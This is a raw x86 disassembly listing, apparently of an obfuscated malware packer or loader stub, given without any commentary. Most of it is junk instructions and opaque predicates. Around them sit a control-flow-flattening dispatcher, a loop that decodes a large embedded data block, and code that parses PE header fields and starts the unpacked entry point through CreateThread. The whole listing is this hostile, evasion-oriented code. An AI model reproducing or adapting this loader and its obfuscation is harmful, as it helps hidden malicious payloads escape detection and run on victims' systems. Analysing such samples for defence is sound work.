imul esi
dec edx
mov edx, 0xa4
neg eax
inc edi
rcr edx, 0xd3
bswap ebx
or esi, 0x7b
neg ebx
rcl edi, 0x11
bswap esi
mov eax, 0x7f
neg edi
bswap edi
imul eax
imul edi
bswap eax
neg edx
mov eax, 0xa4
add edi, 0x87
ror ebx, 0xa7
bswap ebx
dec eax
inc eax
neg edx
mov esi, 0x8e
bswap edi
not esi
bswap edi
inc edx
inc edi
dec edx
dec esi
dec edi
not eax
not ebx
rcr edx, 0x47
rcl edi, 0xcb
neg ebx
imul eax
neg edi
rol edi, 0x49
sub ebx, 0xae
not ebx
neg ebx
neg ebx
neg edx
and esi, 0xab
and edi, 3
neg eax
not edi
sbb edx, 0x4b
inc esi
neg eax
rcl edi, 0x6d
rcl esi, 0x85
add edx, 0xf9
rcr edx, 0xdc
ror eax, 0x44
imul esi
rcr ebx, 0xde
add edi, 0x61
rol ebx, 5
not edx
sbb edx, 0xa6
sub edx, 9
rcl edi, 0xb0
inc edx
ror edx, 0xc9
bswap edx
ror edx, 0x96
sbb esi, 0x78
imul esi
rcl eax, 0x92
bswap eax
rcl ebx, 0xc1
inc ebx
rcr esi, 0xfd
rol eax, 9
rol edi, 0xd9
bswap esi
rcl edx, 0xbd
rcl edx, 0x32
mov esi, 0xab
neg esi
rcr edi, 0x36
not esi
rcr ebx, 0x27
inc edx
sbb edx, 0xd9
dec ebx
sbb ebx, 0xe3
rol ebx, 0x30
inc edi
rcr esi, 0xd6
rol edx, 0x7d
not edi
not edi
bswap esi
and edx, 0x44
dec esi
sub edx, 0x63
rol eax, 0x2a
ror esi, 0xc3
or eax, 0x60
inc esi
ror edx, 0x9e
rcl edx, 0x50
not ebx
add esi, 0xcb
mov edi, 0x51
add ebx, 0x86
imul eax
dec ebx
add esi, 0x49
mov eax, 0x3d
bswap esi
imul ebx
sbb edx, 0x10
bswap eax
bswap edi
ror eax, 0x2d
dec esi
imul esi
rol ebx, 0x73
dec edi
inc edx
imul ebx
rcl eax, 0xe4
rcl edi, 0x4f
bswap edx
sub eax, 0xbd
rcr edx, 0xa1
and edx, 0x2d
neg eax
imul eax
bswap edx
imul esi
or eax, 0xa7
sub esi, 0x77
bswap esi
bswap edi
bswap eax
and ebx, 0x20
and edi, 0x16
mov eax, 0xc4
mov eax, 0x3e
rol eax, 0x85
or ebx, 0xf8
neg eax
and eax, 0x26
not edx
neg ebx
and eax, 0x17
rcr esi, 0x3f
inc edx
and edi, 0xc3
bswap ebx
sbb esi, 0xec
not esi
inc eax
rol edi, 0x73
bswap ebx
not esi
add edx, 0x43
rcr ebx, 0x8f
not ebx
sub ebx, 9
mov eax, 0x8e
imul eax
add esi, 0xfa
ror ebx, 0xdc
rcl edx, 0x14
sub edi, 0x3c
or eax, 0x4a
or ebx, 0xa5
neg edx
neg ebx
ror eax, 0xff
bswap eax
not edi
rol ebx, 0xc1
not edx
rcr ebx, 0xca
rcr edx, 0xb
sub ebx, 0x22
inc edi
add eax, 0x89
rcl ebx, 0x50
mov eax, 0x1e
not esi
dec eax
inc eax
neg ebx
not edx
add edi, 5
ror edi, 0x14
sbb ebx, 0x1b
rcl ebx, 0xb1
bswap edx
neg edx
mov eax, 0x61
add edx, 0x47
rcl eax, 0x76
and eax, 0x96
bswap edi
neg esi
rcl edi, 0x32
rcr edx, 0x27
neg esi
bswap eax
ror esi, 0x5d
ror edx, 0xe5
add ebx, 0xee
add edx, 0xe4
inc esi
not edi
rcr eax, 0x98
neg eax
inc eax
dec edx
dec eax
dec eax
or ebx, 0xd8
neg eax
not ebx
imul edi
neg ebx
add edi, 0xe3
add edi, 0xa5
dec ebx
not edx
or ebx, 0xcc
ror ebx, 0x3b
not edi
inc edx
bswap edi
dec ebx
not esi
imul eax
rol edi, 0x11
rol edx, 0x6e
rcl esi, 0xea
imul esi
dec edi
bswap edi
and ebx, 0x8b
add eax, 0xc8
rcr edx, 0xf4
sbb edi, 0xc6
not ebx
mov edi, 0x1a
or edi, 0x2c
rcl eax, 0xd6
dec ebx
sub esi, 6
sbb ebx, 0x41
add edx, 0x84
inc edx
rol ebx, 0xc9
rol esi, 0xe1
neg ebx
inc esi
rcr esi, 0x3f
ror edi, 0x1e
neg esi
inc ebx
sbb edi, 0xfd
and eax, 0x1e
mov ebx, 0x9d
sub edx, 0x25
rol esi, 0xa5
imul eax
dec edi
or edx, 0x9f
inc edi
bswap edx
and ebx, 9
imul esi
not esi
mov ebx, 0x68
not edx
dec esi
and ebx, 0x5b
mov esi, 0xc6
mov edi, 0x77
imul edx
rcr esi, 0xc4
and esi, 0x7b
mov edx, 0x75
sbb esi, 0x29
add edi, 3
bswap esi
rcr esi, 0xd2
not esi
rcl esi, 0x72
inc ebx
sub edx, 0xa2
bswap edi
sub edi, 0xb9
rol edi, 0xfe
dec esi
rcr edi, 0x72
sbb esi, 0xf6
bswap edx
bswap edi
not edi
rcr ebx, 0xe1
not ebx
or esi, 0x4f
mov eax, 0xbc
bswap edx
not edi
rcl esi, 0x6b
mov ebx, 0x72
dec edi
not eax
rol ebx, 0x71
imul edi
imul edx
not eax
bswap eax
not eax
rcr eax, 0x3c
mov ebx, 0xb7
dec edi
dec eax
mov ebx, 0x5e
not eax
sbb esi, 0x41
sub edi, 0x14
neg esi
inc edi
rcl esi, 0xc4
rcr eax, 0xfb
not ebx
ror edx, 0xba
sub ebx, 0x43
dec edx
rcr edx, 0xec
and edi, 0x2b
sbb eax, 0x60
or edi, 0xc2
neg edi
rcl eax, 0x92
add edx, 0xba
sub eax, 0xa
dec eax
rol edi, 0x24
rol eax, 0x8c
not eax
neg eax
rcr edx, 0xc9
mov eax, 0x41
imul edi
rcr edi, 0x2d
not eax
imul esi
not edi
add eax, 0x71
bswap esi
mov edi, 0x60
ror ebx, 0x32
rcr eax, 0x36
neg edi
or ebx, 0xcc
dec esi
add ebx, 0xd3
inc ebx
add eax, 0xec
rcr ebx, 0x1e
add edx, 2
mov edx, 0xa0
inc ebx
dec ebx
imul edi
mov esi, 0x69
dec edx
not edi
rcr edx, 0x24
neg edx
neg esi
rcr edi, 0x82
rol ebx, 0x48
add ebx, 0x67
bswap esi
and eax, 0xb0
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov dword [ebp - 0x14], 0xace00
mov dword [ebp - 0x18], 0x436000
imul eax
sub ebx, 0xed
inc eax
not esi
imul esi
not edi
neg edx
not esi
imul edx
neg edi
neg esi
add edx, 0xd1
neg eax
not eax
sbb ebx, 0x5a
rcr ebx, 0x15
neg eax
dec edi
mov ebx, 0x87
imul edx
inc edi
add edi, 0x1e
neg edi
and esi, 0xea
neg edx
and eax, 0x80
not eax
bswap eax
sub edx, 0x49
dec edx
imul edi
and edi, 0xe5
ror esi, 0x18
or edi, 0xa0
add eax, 0x11
neg eax
mov edx, 0xc3
not edx
add edx, 0x8e
neg eax
neg esi
bswap eax
rcl esi, 0x65
rol ebx, 0x97
ror esi, 0x5e
dec edx
not edx
dec edx
rcr eax, 0xd8
inc edi
not edi
dec ebx
sbb ebx, 0xd
add esi, 0x79
not ebx
dec ebx
mov esi, 0x2b
or esi, 0xab
bswap eax
bswap edi
and ebx, 0x96
or esi, 0x3f
and edi, 0x3a
dec edi
rol edx, 0x85
rcl edi, 0xe5
and edi, 0xc8
rol eax, 0x60
sbb esi, 0x25
sbb edi, 0x65
rol edi, 0x16
bswap edi
rol edi, 0xd
dec edi
ror esi, 0x31
neg ebx
rcr eax, 0x59
or ebx, 0x44
inc edi
inc ebx
not eax
sub edx, 8
rol ebx, 0xb
sbb eax, 0x68
sub edx, 0x6e
add edi, 0xbb
not eax
sbb edx, 0x69
ror edx, 0x39
dec ebx
dec ebx
imul eax
ror ebx, 2
rcl eax, 0x1b
neg eax
and esi, 0xfa
sbb ebx, 0x75
sbb edx, 0x92
not edi
bswap edi
rcr edi, 0x35
add edi, 0xbd
not edx
rol edi, 0x1a
inc eax
imul esi
not ebx
imul eax
sub eax, 0x29
sub eax, 0xef
rol eax, 0xfa
ror edi, 0xcf
sub eax, 0x3c
add ebx, 0xf
add ebx, 0x1b
not ebx
bswap eax
ror eax, 0x4d
rcl ebx, 0x7f
bswap edx
bswap edi
ror edx, 0x38
imul edi
imul esi
bswap edx
rcl ebx, 0x6b
sbb edi, 0x27
dec esi
bswap esi
not edx
ror edx, 0x16
ror ebx, 0xd2
neg edx
rcl eax, 0xd2
inc ebx
sub eax, 0xb9
inc esi
dec ebx
sub esi, 0x6a
rol edi, 0x4d
not edi
and esi, 0x8c
bswap eax
imul ebx
or edx, 0x12
sub ebx, 0xfb
bswap edx
not edx
not ebx
rcl edx, 0xae
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
sub byte [edi], 0x64
add byte [edi], 0x75
imul byte [edi]
inc edi
loop 0x40bd5a
not eax
rcr eax, 0xac
add esi, 0xa0
inc ebx
sbb ebx, 0x91
ror edx, 6
inc eax
sub ebx, 0xf2
rol edi, 0x76
sbb ebx, 0xc
not eax
mov eax, 0x28
add edi, 0xea
mov esi, 0xc
not esi
imul ebx
inc ebx
imul esi
and edi, 0x37
or esi, 0xa6
inc esi
add eax, 0x66
bswap edi
imul esi
or edi, 0xa3
inc eax
imul esi
not edx
inc ebx
or eax, 0x5c
rol esi, 0xca
not ebx
sub edi, 0x1d
mov eax, 0xb0
sub edi, 0xd
imul ebx
and edi, 0xed
rcl ebx, 0x2c
inc edx
bswap edx
bswap esi
not edx
bswap edx
neg esi
dec ebx
ror edx, 9
mov eax, 0xbe
inc ebx
sbb ebx, 0x87
rol eax, 0x64
sbb esi, 0xc9
neg esi
sbb esi, 0xe
bswap ebx
add edx, 0x6e
inc esi
ror eax, 0xca
dec eax
imul esi
not edi
dec esi
sub edx, 0xae
inc ebx
and eax, 0xe
imul ebx
neg edx
sbb edx, 0x51
not eax
not esi
imul eax
rcr ebx, 0x4c
sub esi, 0x9a
rol edi, 0x6c
mov esi, 0x88
or edx, 0xb5
sub eax, 6
bswap eax
and esi, 0x4d
not edx
sub edx, 0x25
neg eax
or eax, 0x50
ror ebx, 0x12
bswap edx
rol edx, 0xdc
sbb edi, 6
imul eax
not esi
dec edi
rcl edi, 0xe8
and edx, 0x2a
add edi, 0x7b
imul eax
or edx, 1
dec ebx
imul esi
sbb edx, 0x23
and edi, 0x21
sbb esi, 0xfa
bswap edx
dec eax
neg esi
imul edi
bswap edi
rcr edi, 0x49
imul edx
add edx, 0x8b
imul esi
not edi
bswap eax
sbb edi, 0xf6
sbb eax, 0x7f
rcl edi, 0x46
rcl esi, 0x97
add esi, 0x2c
rol eax, 0xd9
sbb ebx, 0x6f
add edi, 0x4f
or edi, 0x69
imul ebx
add ebx, 0xf5
and ebx, 6
inc edi
sub eax, 0xa6
sbb eax, 0x89
and eax, 0xe4
mov edx, 0x9a
bswap edi
not ebx
rcr eax, 0x1a
rol eax, 0x63
not edx
imul ebx
not edi
bswap esi
dec ebx
inc eax
mov ebx, 0x18
neg edi
or edi, 0x13
neg esi
inc edi
inc eax
ror edi, 0xe7
dec edi
neg ebx
not eax
imul edx
bswap edx
dec edi
mov eax, dword [ebp - 0x40]
mov dword [eax], section..data
bswap ebx
rcl ebx, 0xd2
inc edi
inc esi
ror edi, 0xeb
dec edi
sub esi, 0xb0
rcl edi, 0x71
and edi, 0xd1
neg ebx
not edi
dec ebx
bswap esi
rcl eax, 0xed
add eax, 0xb8
rcl ebx, 0xa1
rcr esi, 0xea
sub ebx, 0x17
not esi
rol esi, 0x56
sbb edi, 0xb9
imul eax
rcl edx, 0xfe
bswap edi
rcr esi, 8
inc edx
and edi, 0xc2
rol edi, 0xd1
neg edx
rcl ebx, 0xdf
add edx, 0xcc
not esi
and esi, 0x15
inc edx
bswap ebx
mov edx, 0x4c
inc eax
bswap eax
ror esi, 0x9d
rol edi, 0xc9
bswap ebx
add esi, 0x57
imul esi
imul ebx
mov ebx, 0x10
sub edx, 0x8c
not edx
inc edi
or eax, 0xc5
sbb ebx, 0xb4
rcr edx, 0x8a
rol edi, 0x2f
rcr edx, 0xb9
rol edx, 0xf6
and edi, 0x21
inc edx
rcl ebx, 0x7b
inc edi
sbb eax, 0xd7
dec edx
inc ebx
rcl esi, 0xb2
imul ebx
rcr eax, 0xef
mov esi, 0x7c
dec eax
mov edi, 0xa9
bswap edi
neg edi
rcl ebx, 0x5e
imul esi
neg edi
and edi, 0x7a
rcl eax, 8
inc ebx
and eax, 0x56
rcl edi, 0x9a
ror esi, 0xde
inc edx
rcl edi, 0x62
not eax
bswap edx
bswap esi
sub eax, 0x4c
bswap eax
and esi, 0x99
neg edx
sub eax, 0xc
rcr eax, 0xf3
not eax
not ebx
ror edi, 0x5b
add esi, 0x56
bswap edx
or esi, 0xc4
bswap esi
sbb edi, 0xc1
ror esi, 0x8d
ror ebx, 0xf9
not edx
mov ebx, 0xd
rcl edx, 0xf1
not ebx
add ebx, 0x27
ror eax, 0xa8
inc esi
dec esi
mov esi, 0xa6
sub edi, 0xee
not edi
ror edx, 0xbf
not edi
and esi, 0x99
ror esi, 0xfa
mov esi, 0x21
ror eax, 0x73
inc edi
inc edx
mov edx, 0xf6
inc edi
sbb edx, 0x9b
sub ebx, 0x95
dec edx
or ebx, 0xe1
add eax, 0x4b
ror ebx, 0x25
imul eax
inc eax
mov esi, 0x3e
neg ebx
not edx
dec esi
sbb edi, 0xc2
mov ebx, 6
rcr esi, 0xf8
neg edx
bswap ebx
mov ebx, 0xb8
and edx, 0x72
bswap eax
mov eax, 8
mov esi, 0x99
rol ebx, 0x99
rcl edi, 0xdd
or esi, 0x24
inc edi
sbb edx, 8
neg edi
rcl edx, 0x96
not eax
bswap esi
rol edx, 0x24
rcr ebx, 0x35
sbb eax, 0x46
sbb edi, 0x89
and edx, 0x35
rol edi, 0x14
not ebx
ror eax, 0x7e
or ebx, 0xc4
ror edx, 0x62
mov edx, 0xe7
dec eax
inc edx
add eax, 0x56
inc edi
dec esi
not edx
neg esi
not esi
imul edx
mov esi, 0x3c
mov eax, 0x79
bswap esi
rcr edx, 0xa2
rcl eax, 0xa6
add esi, 0x78
bswap ebx
rol edx, 0x86
mov edi, 0x50
sub edi, 0x8d
inc ebx
dec esi
add ebx, 0x24
neg ebx
and ebx, 0x34
inc esi
neg ebx
neg ebx
dec eax
ror esi, 0x84
rol eax, 0
neg ebx
neg edi
dec edi
inc ebx
rol eax, 0xfe
and ebx, 0xf7
dec edi
bswap edx
dec eax
not ebx
and esi, 8
not edi
mov ebx, 0x95
not ebx
dec esi
rcr eax, 0x1e
mov ebx, 0xd6
rcr edx, 0x73
bswap ebx
ror eax, 0x38
sbb ebx, 0x8d
not eax
imul eax
neg edx
not eax
bswap edi
bswap esi
sbb edi, 0xa8
sub edi, 0x89
dec esi
bswap esi
sbb esi, 0xbd
and edi, 0x62
rcr esi, 0x2d
inc edi
bswap edi
or eax, 0xa2
imul eax
and ebx, 0x56
bswap eax
or ebx, 0x4a
rcr edi, 0xe1
inc esi
mov edx, 0x29
not esi
imul edx
neg ebx
mov edx, 0xcb
bswap esi
imul ebx
add eax, 0xe8
or eax, 0x3d
rcl eax, 0xa3
imul ebx
and eax, 0x80
neg edi
sbb esi, 0x4f
imul ebx
ror ebx, 0x6a
mov edi, 0
rol esi, 0xb
dec eax
neg esi
rcl eax, 0x71
not eax
inc esi
dec edi
neg esi
or eax, 0x54
bswap edx
neg ebx
not eax
bswap esi
imul eax
sub edi, 0xf8
inc edx
not ebx
sbb ebx, 0
imul eax
imul ebx
dec edi
rcr esi, 0xb1
or ebx, 0x46
or edx, 0xfc
imul eax
rcl esi, 0x34
rol eax, 0x15
imul ebx
sbb ebx, 0xfb
sub esi, 0xa4
not edx
rol ebx, 0x7c
inc eax
rol edx, 0xd9
rol edi, 0x84
sbb edx, 0x2d
neg edi
inc edx
ror ebx, 0xf1
rol eax, 0xcf
or edi, 9
neg edi
imul ebx
ror edx, 4
not ebx
not eax
not esi
imul edi
imul edi
bswap edx
neg ebx
or ebx, 0x22
ror eax, 0xcd
add edx, 0x80
not edx
not edx
inc edx
imul edi
bswap ebx
add edi, 0xaa
rcr esi, 0x97
sub edi, 0xfa
rcl edx, 0xa7
sbb edi, 0x9c
and esi, 0xd2
sbb eax, 0xe7
rcr ebx, 0xe5
add esi, 0xa7
or ebx, 0x56
bswap edx
rcl eax, 2
not esi
sbb edi, 0x40
or eax, 0xea
inc edi
not ebx
neg esi
rol edx, 0xe9
dec ebx
mov edx, 0x32
imul edi
inc edx
add edx, 0xb7
rol esi, 0x52
not esi
rol esi, 0x88
sub edx, 0xb7
ror ebx, 0x80
or edi, 0xc1
sbb eax, 0xc8
dec edi
neg eax
ror esi, 0x65
inc edi
not esi
sbb esi, 0x41
and ebx, 0xc2
or ebx, 0xa3
sub ebx, 0x79
inc edi
rol ebx, 0x7e
bswap edx
sub eax, 0xa7
or eax, 0xb6
neg esi
imul edi
inc esi
bswap esi
inc eax
rol edi, 4
rcl edx, 0x39
imul edi
neg esi
rcl ebx, 0x31
bswap edi
bswap eax
ror edx, 0x70
inc edx
add ebx, 0xca
rcl ebx, 0xda
rcl eax, 0x7e
neg esi
bswap ebx
not esi
or esi, 0xc0
sub eax, 0x37
not eax
or edi, 0x23
dec edx
not edx
bswap eax
rcr edi, 0xc5
rcl ebx, 0xd5
bswap esi
neg eax
neg edi
ror eax, 0x84
rol eax, 0
bswap esi
dec edi
sub edx, 5
neg ebx
imul edi
sub edi, 0x70
sub eax, 0xb1
sbb edx, 0x95
ror edx, 0x2e
bswap eax
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, 0x845c5761
jmp 0x401710
mov eax, dword [ebp - 0x1a8]
mov ecx, 0x56cb31db
cmp eax, 0xc
mov eax, 0x5388bd27
cmove eax, ecx
jmp 0x401710
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x62920af0
mov esi, eax
and esi, 0x9d6df50e
and eax, 0x1f4a752b
or edx, esi
mov esi, edx
xor esi, 0x62900020
xor edx, 0x9d6df50f
mov edi, edx
and edi, 0x843bade
and esi, 0xf7bc4520
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0xe0b58ad4
mov ebx, edi
not ebx
and edi, 0xf7bc4521
or eax, ecx
or edx, ebx
and ebx, 0x843bade
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0x1f4a752b
mov edi, esi
and edi, 0xe0b58ad4
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x8092ce01
sete dl
cmp dword [0x4e4170], 0xa
mov ah, dl
mov ch, dl
setl al
setge cl
xor ah, cl
inc cl
or ch, al
xor al, dl
and al, ch
or cl, dl
mov dl, ah
xor dl, cl
or cl, ah
mov ah, al
mov dh, al
xor ah, 1
xor cl, 1
and dh, ah
or cl, dl
xor dh, 1
mov ch, dh
or dh, ah
xor ch, ah
xor dh, 1
xor ah, cl
xor cl, 1
or dh, ch
xor dh, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, dh
test al, 1
mov eax, 0x2501afeb
cmovne eax, esi
test cl, 1
mov ecx, 0x2501afeb
cmovne ecx, eax
test dh, 1
jmp 0x4016fe
mov eax, dword [ebp - 0x2c]
mov dword [eax], 5
mov eax, 0x49233b47
jmp 0x401710
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov ecx, 0x1c29d9f
mov eax, dword [ebp - 0x74]
cmp byte [eax], 0
mov eax, 0x2e89086c
cmove eax, ecx
jmp 0x401710
mov eax, dword [ebp - 0x2c]
mov dword [eax], 1
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x16678aba
and edx, 0xe9987545
or edx, esi
mov esi, eax
not esi
and eax, 0xe9987545
or ecx, esi
and esi, 0x16678aba
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x2c2eb520
and ecx, 0x5cfe0092
mov esi, edx
and esi, 0xd3d14adf
or eax, esi
mov esi, eax
not esi
and eax, 0xbb9fd6c8
and esi, 0x44602937
or eax, esi
mov esi, edx
and esi, 0xa301ff6d
and edx, 1
or esi, ecx
mov ecx, eax
xor ecx, 0x284c1402
xor eax, 0x97b163e9
xor esi, 0x5cfe0093
and ecx, 0xacec758b
or edx, esi
mov esi, eax
and esi, 0x53138a74
or ecx, esi
mov esi, edx
not esi
or eax, edx
and edx, 0x53138a74
and esi, 0xacec758b
not eax
or esi, edx
xor esi, ecx
or eax, esi
mov esi, 0x5125df44
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x4e4170], 0xa
setl ah
setge al
and ah, cl
mov ecx, edx
and cl, al
or ah, cl
mov cl, ah
xor cl, al
xor al, dl
and cl, ah
mov edx, eax
mov ch, cl
xor dl, 1
xor ch, 1
and al, ch
or ch, dl
and dl, cl
or dl, al
mov cl, ch
mov eax, 0x148c5d27
xor cl, dl
test dl, dl
mov edx, 0x148c5d27
cmovne eax, esi
test ch, ch
cmovne eax, edx
test cl, 1
cmove eax, esi
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0xc5f770a6
mov esi, edx
and esi, 0xfffffffe
and edx, 0x3a088f59
or ecx, esi
or eax, edx
mov esi, 0xcb3e5c2c
not ecx
xor eax, 0xc5f770a6
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1d7eb122
and ecx, 0xe2814edd
or eax, ecx
xor eax, 0x1d7eb122
setne dl
sete ch
cmp dword [0x4e4170], 0xa
setge ah
setl dh
mov al, ah
and dh, dl
xor al, ch
mov ebx, eax
mov cl, al
and bl, ah
and ah, ch
xor cl, 1
or ah, dh
or ah, bl
mov ch, ah
xor ch, 1
mov dl, ch
and dl, ah
xor ch, dl
xor dl, 1
or dl, ah
mov ah, cl
and ah, al
xor dl, 1
xor ah, 1
or dl, ch
or ah, al
mov ch, dl
xor ah, 1
xor ch, 1
or ah, cl
mov dh, ah
and ah, ch
xor ch, al
xor dh, 1
and dh, dl
or dl, cl
xor dl, 1
or ah, dh
or dl, ch
mov ecx, 0xadb94d0c
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, 0xadb94d0c
cmovne edx, ecx
test ah, 1
cmove edx, ecx
mov eax, edx
jmp 0x401710
mov eax, dword [ebp - 0x118]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x11c], eax
mov eax, 0xa52baae6
jmp 0x401710
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x1d4], eax
mov eax, 0x78209dfe
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
andn ecx, eax, eax
mov edx, eax
not edx
mov edi, eax
and edi, 0x9ab487f9
mov esi, ecx
not esi
and edx, 0x654b7806
and ecx, 0x654b7806
or eax, esi
and esi, 0x9ab487f9
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x815a397f
and eax, 0x24089509
mov ecx, esi
and ecx, 0x7ea5c680
or esi, 0xa8662f0
or edx, ecx
and esi, 0x8ba662f4
mov ecx, edx
xor edx, 0x7ea5c680
xor ecx, 0x815a397f
or eax, esi
mov edi, edx
or edi, 0x81200004
mov ebx, ecx
and ebx, 0x50510802
and edx, 0xd00d0918
and edi, 0x8ba662f4
or ebx, edi
mov edi, 0x9f5f338d
xor eax, ebx
mov esi, eax
not esi
and eax, 0x5ad76af3
and esi, 0xa528950c
or eax, esi
mov esi, ecx
and esi, 0x2ff2f6e7
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x100d0819
xor esi, 0x2340e2c0
or ecx, edx
mov edx, eax
and esi, 0xe340e3c0
not edx
and eax, 0xf8313dbf
and ecx, 0x1cbf1c3f
or ecx, esi
mov esi, edx
and esi, 0x7cec240
or eax, esi
mov esi, ecx
xor esi, 0x18311c3f
xor ecx, 0xe340e3c0
or edx, ecx
and ecx, 0x7cec240
and esi, 0xf8313dbf
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov esi, edx
or esi, 0xc212004a
mov ecx, edx
not ecx
mov eax, edx
xor eax, 0x1dc99fa1
and eax, edx
and esi, 0xcb5b07cb
and ecx, 0x14809820
or ecx, esi
mov esi, eax
not esi
and eax, 0x34a4f834
or edx, esi
and esi, 0xcb5b07cb
or eax, esi
not edx
mov esi, 0xc74d9073
xor eax, ecx
or edx, eax
not eax
and eax, 0xe236605e
and edx, 0x1dc99fa1
or edx, eax
mov eax, edx
not eax
and edx, 0x273f0df8
and eax, 0xd8c0f207
or eax, edx
xor eax, 0xd8c0f207
setne al
sete cl
cmp dword [0x4e4170], 0xa
mov edx, eax
setl ah
setge ch
and dl, ch
and ah, cl
xor al, ch
or ah, dl
mov cl, al
xor ah, 1
not cl
or ah, ch
and cl, al
mov dl, ah
mov ch, ah
xor cl, 1
xor dl, 1
and ch, dl
xor ch, 1
or ch, dl
xor ch, 1
or ch, ah
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, ch
xor ah, 1
and ah, cl
xor cl, 1
and cl, ch
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0x9f5f338d
cmovne eax, edi
test cl, 1
cmove eax, edi
jmp 0x401710
mov eax, dword [ebp - 0x54]
mov dword [eax], 2
mov eax, 0x8a0e7b3
jmp 0x401710
mov eax, 0xef7e5e02
jmp 0x401710
cmp dword [ebp - 0x1c0], 0
mov eax, 0x981b3a27
mov ecx, 0x46fa8ae
cmove eax, ecx
jmp 0x401710
mov eax, 0x724dc983
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x31104169
mov ecx, edx
and ecx, 0x44471a02
and edx, 0x8f80c246
or esi, ecx
mov ecx, eax
xor ecx, 0x75575b6b
and ecx, eax
xor esi, 0x31104169
and eax, 0x707f3db9
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x75575b6a
mov edx, eax
xor edx, 0x707f3db9
xor eax, 0x8f80c246
and esi, 0x8aa8a495
or ecx, esi
mov esi, 0xf00b24e1
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
setne cl
cmp dword [0x4e4170], 0xa
setl dl
setge al
xor dl, cl
or al, cl
mov ah, dl
mov ecx, edx
mov dh, al
xor ah, 1
xor dh, 1
and cl, ah
mov ch, ah
or dh, ah
xor cl, 1
xor dh, 1
xor ch, cl
or cl, ah
xor cl, 1
or cl, ch
xor cl, al
xor al, dl
or dh, al
mov al, dh
xor al, cl
test dh, dh
mov edx, 0xc13c3be
cmovne edx, esi
test cl, 1
cmove edx, esi
test al, 1
mov eax, 0xc13c3be
jmp 0x40cf8d
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x8c987f76
and eax, 1
mov edx, ecx
and edx, 0x73678088
or esi, edx
xor esi, 0x8c987f76
or eax, esi
mov esi, 0x235dea93
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4dd90fc3
and ecx, 0xb226f03c
or eax, ecx
xor eax, 0x4dd90fc3
sete al
setne cl
cmp dword [0x4e4170], 0xa
setl ah
setge dl
or al, dl
or ah, cl
or dl, cl
mov ecx, eax
or al, ah
xor dl, 1
xor cl, ah
xor al, 1
or al, cl
mov ah, al
mov ecx, eax
xor ah, 1
and cl, ah
xor cl, 1
or cl, ah
mov ah, dl
xor cl, 1
xor ah, al
or cl, al
or al, dl
xor al, 1
xor cl, dl
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x49233b47
cmovne edx, esi
test al, 1
mov eax, 0x49233b47
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x401710
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x44]
mov eax, 0x702ce9a5
jmp 0x401710
mov eax, dword [ebp - 0x40]
mov edi, 0x72670728
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [0x4e4174]
